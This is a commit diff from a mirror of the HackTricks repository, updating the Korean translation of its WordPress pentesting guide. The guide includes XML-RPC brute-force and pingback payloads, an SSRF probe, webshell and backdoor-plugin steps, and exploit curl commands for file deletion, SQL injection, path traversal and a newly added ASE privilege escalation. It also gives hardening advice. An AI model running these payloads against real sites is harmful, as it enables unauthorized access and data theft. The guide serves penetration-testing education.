mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
fd0d256713
commit
3856b0ec67
@ -5,7 +5,7 @@
|
||||
## 기본 정보
|
||||
|
||||
- **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php`는 HTTP가 전송 메커니즘으로 작용하고 XML이 인코딩 메커니즘으로 작용하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
|
||||
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
|
||||
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
|
||||
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
|
||||
@ -93,7 +93,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
사용자에 대한 정보를 드러낼 수 있는 또 다른 `/wp-json/` 엔드포인트는:
|
||||
또 다른 `/wp-json/` 엔드포인트는 사용자에 대한 정보를 드러낼 수 있습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
@ -105,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여](https://github.com/relarizky/wpxploit) 이 프로세스를 자동화할 수 있습니다).
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
|
||||
|
||||
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
|
||||
|
||||
@ -118,9 +118,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**자격 증명 브루트포스**
|
||||
**자격 증명 무차별 대입**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
메시지 _"잘못된 사용자 이름 또는 비밀번호"_는 자격 증명이 유효하지 않을 경우 200 코드 응답 내에 나타나야 합니다.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -166,18 +166,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
|
||||
또한 **`system.multicall`**을 사용하여 자격 증명을 브루트 포스하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA 우회**
|
||||
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방법으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
|
||||
**DDoS 또는 포트 스캐닝**
|
||||
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보내도록 할 수 있습니다.\
|
||||
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로든 보낼 수 있습니다.\
|
||||
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트든 지정할 수 있습니다).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -215,7 +215,7 @@ Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ _and the Worpress site may make a request to you._
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
|
||||
|
||||
작동하지 않을 때의 응답은 다음과 같습니다:
|
||||
|
||||
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## 비트를 덮어써서 접근하기
|
||||
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다.
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 wordpress 파일의 1 비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -248,11 +248,11 @@ return new WP_Error(
|
||||
|
||||
외관 → 테마 편집기 → 404 템플릿 (오른쪽)
|
||||
|
||||
php 셸을 위한 내용을 변경합니다:
|
||||
php 쉘을 위한 내용을 변경합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -267,19 +267,19 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
플러그인으로 .php 파일을 업로드할 수 있을 수 있습니다.\
|
||||
예를 들어, php 백도어를 생성합니다:
|
||||
예를 들어, php 백도어를 생성하세요:
|
||||
|
||||
.png>)
|
||||
|
||||
그런 다음 새 플러그인을 추가합니다:
|
||||
그런 다음 새 플러그인을 추가하세요:
|
||||
|
||||
.png>)
|
||||
|
||||
플러그인을 업로드하고 지금 설치를 누릅니다:
|
||||
플러그인을 업로드하고 지금 설치를 누르세요:
|
||||
|
||||
.png>)
|
||||
|
||||
계속 진행을 클릭합니다:
|
||||
계속 진행을 클릭하세요:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -293,30 +293,30 @@ to get a session.
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
|
||||
1. **Plugin Acquisition**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
|
||||
2. **Plugin Installation**:
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 가세요.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드하세요.
|
||||
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다.
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용될 수 있습니다.
|
||||
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
|
||||
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
|
||||
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용되어야 하며, 명시적인 허가가 있는 침투 테스트와 같은 합법적인 맥락에서만 사용해야 합니다.
|
||||
|
||||
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress 버전 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇입니다.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -336,14 +336,14 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
|
||||
플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
|
||||
|
||||
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
|
||||
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있게 만듭니다.**
|
||||
|
||||
> [!CAUTION]
|
||||
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
@ -376,7 +376,7 @@ WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅
|
||||
2. **CSRF nonce**가 `check_ajax_referer()` / `wp_verify_nonce()`로 검증되며, 및
|
||||
3. **엄격한 입력 정화 / 검증**.
|
||||
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 (단순화하여) 배포하게 되었습니다:
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -399,7 +399,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
|
||||
* **인증되지 않은 접근** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **논스 / 권한 확인 없음** – 모든 방문자가 엔드포인트에 접근할 수 있습니다.
|
||||
* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어 있어 고전적인 `../../` 탐색이 가능합니다.
|
||||
* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
@ -439,8 +439,72 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **항상** 디스크에서의 모든 쓰기/삭제 작업을 특권으로 취급하고 두 번 확인하십시오:
|
||||
> • 인증 • 권한 부여 • 논스 • 입력 정화 • 경로 포함 (예: `realpath()`와 `str_starts_with()` 사용).
|
||||
> **항상** 디스크에서의 모든 쓰기/삭제 작업을 특권으로 간주하고 두 번 확인하십시오:
|
||||
> • 인증 • 권한 부여 • 논스 • 입력 정화 • 경로 포함 (예: `realpath()`와 `str_starts_with()`를 통해).
|
||||
|
||||
---
|
||||
|
||||
### 오래된 역할 복원 및 누락된 권한 부여를 통한 권한 상승 (ASE "View Admin as Role")
|
||||
|
||||
많은 플러그인이 원래 역할을 사용자 메타에 저장하여 나중에 복원할 수 있도록 "역할로 보기" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 매개변수(예: `$_REQUEST['reset-for']`)와 플러그인 유지 관리 목록에만 의존하고 능력 및 유효한 논스를 확인하지 않으면, 이는 수직적 권한 상승이 됩니다.
|
||||
|
||||
실제 예시는 Admin and Site Enhancements (ASE) 플러그인(≤ 7.6.2.1)에서 발견되었습니다. 리셋 분기는 `reset-for=<username>`에 따라 역할을 복원했지만, 현재 역할을 제거하고 사용자 메타 `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 확인이나 논스 검증을 수행하지 않았습니다.
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
왜 취약한가
|
||||
|
||||
- 서버 측 권한 부여 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰합니다.
|
||||
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 저장된 더 높은 권한을 가지고 있었고 강등되었다면, 리셋 경로를 통해 이를 복원할 수 있습니다.
|
||||
- 일부 배포에서는 인증된 사용자가 여전히 `viewing_admin_as_role_are`에 있는 다른 사용자 이름에 대해 리셋을 트리거할 수 있습니다(권한 부여 실패).
|
||||
|
||||
공격 전제 조건
|
||||
|
||||
- 기능이 활성화된 취약한 플러그인 버전.
|
||||
- 대상 계정에 이전 사용에서 저장된 오래된 높은 권한 역할이 있습니다.
|
||||
- 인증된 세션; 리셋 흐름에서 누락된 nonce/능력.
|
||||
|
||||
악용 (예시)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 효과적으로 권한을 상승시킵니다.
|
||||
|
||||
탐지 체크리스트
|
||||
|
||||
- 사용자 메타에 “원래 역할”을 유지하는 역할 전환 기능을 찾습니다(예: `_asenha_view_admin_as_original_roles`).
|
||||
- 다음을 포함하는 재설정/복원 경로를 식별합니다:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽습니다.
|
||||
- `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`를 통해 역할을 수정합니다.
|
||||
- 행위자의 능력 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)을 기반으로 권한을 부여합니다.
|
||||
|
||||
강화
|
||||
|
||||
- 모든 상태 변경 분기에서 능력 검사를 시행합니다(예: `current_user_can('manage_options')` 또는 더 엄격하게).
|
||||
- 모든 역할/권한 변동에 대해 nonce를 요구하고 이를 검증합니다: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청에서 제공된 사용자 이름을 절대 신뢰하지 마십시오; 인증된 행위자와 명시적 정책을 기반으로 서버 측에서 대상 사용자를 해결합니다.
|
||||
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 높은 권한 복원을 방지합니다:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 최소한의 상태를 저장하고 임시 역할 전환을 위해 시간 제한이 있는 권한 보호 토큰을 사용하는 것을 고려하세요.
|
||||
|
||||
---
|
||||
|
||||
@ -448,7 +512,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
### 정기 업데이트
|
||||
|
||||
WordPress, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오:
|
||||
WordPress, 플러그인 및 테마가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -486,7 +550,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
|
||||
1. **비위생적인 사용자 입력** – `parentid`는 HTTP 요청에서 직접 가져옵니다.
|
||||
2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 단축 코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
@ -507,13 +571,13 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
|
||||
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 **디스크의 모든 파일**을 경로 탐색을 통해 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 장치는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -528,7 +592,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
## References
|
||||
|
||||
- [Litho 테마의 인증되지 않은 임의 파일 삭제 취약점](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal 플러그인에서 패치된 여러 가지 심각한 취약점](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user